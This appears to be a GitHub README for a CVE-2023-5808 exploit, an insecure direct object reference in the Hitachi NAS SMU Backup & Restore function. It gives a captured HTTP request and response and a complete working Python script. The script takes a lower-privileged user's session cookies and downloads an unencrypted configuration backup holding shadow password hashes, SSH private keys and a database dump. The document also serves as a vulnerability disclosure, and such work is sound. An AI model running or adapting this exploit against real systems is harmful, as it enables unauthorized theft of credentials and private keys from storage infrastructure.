arszilla/cve-2023-5808Exploit for CVE-2023-5808, an IDOR in Hitachi NAS SMU Backup & Restore, allowing unauthorized download of sensitive configuration backups.
CVE-2023-5808 is an Insecure Direct Object Reference (IDOR) in
vulnerability found in Hitachi NAS' (HNAS') System Management Unit (SMU)
Backup & Restore functionality. This vulnerability affects SMU versions
prior to 14.8.7825.01.
This exploit requires the attacker to have control over the credentials of a
user account that is not Read-Only or Global Administrator, i.e.:
Storage AdministratorServer AdministratorServer + Storage AdministratorBy design, users with the Global Administrator role should be able to access
SMU's Backup & Restore functionality, located at https://<HOSTNAME/FQDN/IP>/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored
and send the following request, which would create and download an
(unencrypted/password-less) backup:
GET /mgr/app/template/simple%2CBackupSmuScreen.vm/password/ HTTP/1.1
Host: REDACTED
Cookie: JSESSIONID=REDACTED; JSESSIONIDSSO=REDACTED
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://REDACTED/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
If the request is successful, the SMU responds with the following response
and starts the download of smu_2023-04-12_1543+0200.zip:
HTTP/1.1 200
Cache-Control: PRIVATE
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Strict-Transport-Security: max-age=31536000;includeSubDomains
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
P3P: CP="NOI DSP CUR ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Pragma: cache
Content-Disposition: attachment;filename=smu_2023-04-12_1543+0200.zip
Content-Type: application/download
Content-Length: 1831412
Date: Wed, 12 Apr 2023 13:43:15 GMT
Connection: close
Server: SMU
[DATA]
However, due to an oversight in SMU's business logic, an attacker with
access to a Storage Administrator, Server Administrator or
Server + Storage Administrator account can update the JSESSIONID and
JSESSIONIDSSO cookies to match the cookies of the user that they are in
possession of, allowing them to download the backup archive.
Thus, a script like CVE-2023-5808.py could be used to exploit this
vulnerability:
#!/usr/bin/python3
#
# Title: Hitachi NAS (HNAS) System Management Unit (SMU) Backup & Restore IDOR Vulnerability
# CVE: CVE-2023-5808
# Date: 2023-12-13
# Exploit Author: Arslan Masood (@arszilla)
# Vendor: https://www.hitachivantara.com/
# Version: < 14.8.7825.01
# Tested On: 13.9.7021.04
import argparse
from datetime import datetime
from os import getcwd
import requests
parser = argparse.ArgumentParser(
description="CVE-2023-5808 PoC",
usage="./CVE-2023-5808.py --host <Hostname/FQDN/IP> --id <JSESSIONID> --sso <JSESSIONIDSSO>"
)
# Create --host argument:
parser.add_argument(
"--host",
required=True,
type=str,
help="Hostname/FQDN/IP Address. Provide the port, if necessary, i.e. 127.0.0.1:8443, example.com:8443"
)
# Create --id argument:
parser.add_argument(
"--id",
required=True,
type=str,
help="JSESSIONID cookie value"
)
# Create --sso argument:
parser.add_argument(
"--sso",
required=True,
type=str,
help="JSESSIONIDSSO cookie value"
)
args = parser.parse_args()
def download_file(hostname, jsessionid, jsessionidsso):
# Set the filename:
filename = f"smu_backup-{datetime.now().strftime('%Y-%m-%d_%H%M')}.zip"
# Vulnerable SMU URL:
smu_url = f"https://{hostname}/mgr/app/template/simple%2CBackupSmuScreen.vm/password/"
# GET request cookies
smu_cookies = {
"JSESSIONID": jsessionid,
"JSESSIONIDSSO": jsessionidsso
}
# GET request headers:
smu_headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Dnt": "1",
"Referer": f"https://{hostname}/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Te": "trailers",
"Connection": "close"
}
# Send the request:
with requests.get(smu_url, headers=smu_headers, cookies=smu_cookies, stream=True, verify=False) as file_download:
with open(filename, 'wb') as backup_archive:
# Write the zip file to the CWD:
backup_archive.write(file_download.content)
print(f"{filename} has been downloaded to {getcwd()}")
if __name__ == "__main__":
download_file(args.host, args.id, args.sso)
The justification of the CVSS v3.1 score of 7.6 could be further understood by
examining the contents of smu_2023-04-12_1543+0200.zip:
$ tree -a
.
├── adc_replic
│ ├── backup.properties
│ ├── mig_policies
│ │ ├── MIGR_TEST_POL
│ │ │ ├── 1
│ │ │ │ ├── config
│ │ │ │ └── lockfile
│ │ │ ├── config
│ │ │ └── lockfile
│ │ └── next_schedule
│ ├── mig_rules
│ │ └── MIGR_TEST
│ ├── pkgHandler.xml
│ ├── replic_policies
│ ├── replic_rules
│ ├── replic_schedules
│ │ └── next_schedule
│ └── replic_scripts
├── backup.properties
├── mgr
│ ├── axalon.properties
│ ├── backup.properties
│ ├── banner.txt.disabled
│ ├── managedservers.json
│ ├── pkgHandler.xml
│ ├── systemmonitor_1.xml
│ ├── systemmonitor_2.xml
│ └── systemmonitor_3.xml
├── network
│ └── yp.conf
├── postgresql
│ ├── backup.properties
│ ├── config_pgdump.tar
│ ├── pkgHandler.xml
│ └── rolledupstats_pgdump.tar
├── quorumdev2
│ ├── backup.properties
│ ├── CB-HNAS1-CLU
│ │ └── cluster.conf
│ ├── HH-HNAS1-CLU
│ │ └── cluster.conf
│ └── quorumdev2.conf
├── quorumdevice
│ └── backup.properties
├── readyToShip
│ ├── backup.properties
│ ├── pkgHandler.xml
│ ├── ssh_host_dsa_key
│ ├── ssh_host_dsa_key.pub
│ ├── ssh_host_key
│ ├── ssh_host_key.pub
│ ├── ssh_host_rsa_key
│ └── ssh_host_rsa_key.pub
├── server-tools
│ ├── backup.properties
│ ├── ldap.conf.rb
│ ├── massage-commands-for-managed-servers
│ ├── ypcat-group
│ └── ypcat-passwd
├── smu_users
│ ├── backup.properties
│ ├── manager
│ │ └── ssh
│ │ └── known_hosts
│ ├── pkgHandler.xml
│ ├── root
│ │ └── ssh
│ │ └── known_hosts
│ └── shadow
└── tomcat
├── backup.properties
├── nas.keystore
└── pkgHandler.xml
25 directories, 49 files
The .zip archive contains various files regarding the SMU's configuration.
The files included are (but not limited to):
SMU's /etc/shadow file, containing every user's CLI password hashes,PEM DSA, PEM RSA, and OpenSSH RSA1 private keys,PostgreSQL database dump.This vulnerability is a "sister vulnerability" to [CVE-2023-6538][CVE-2023-6538].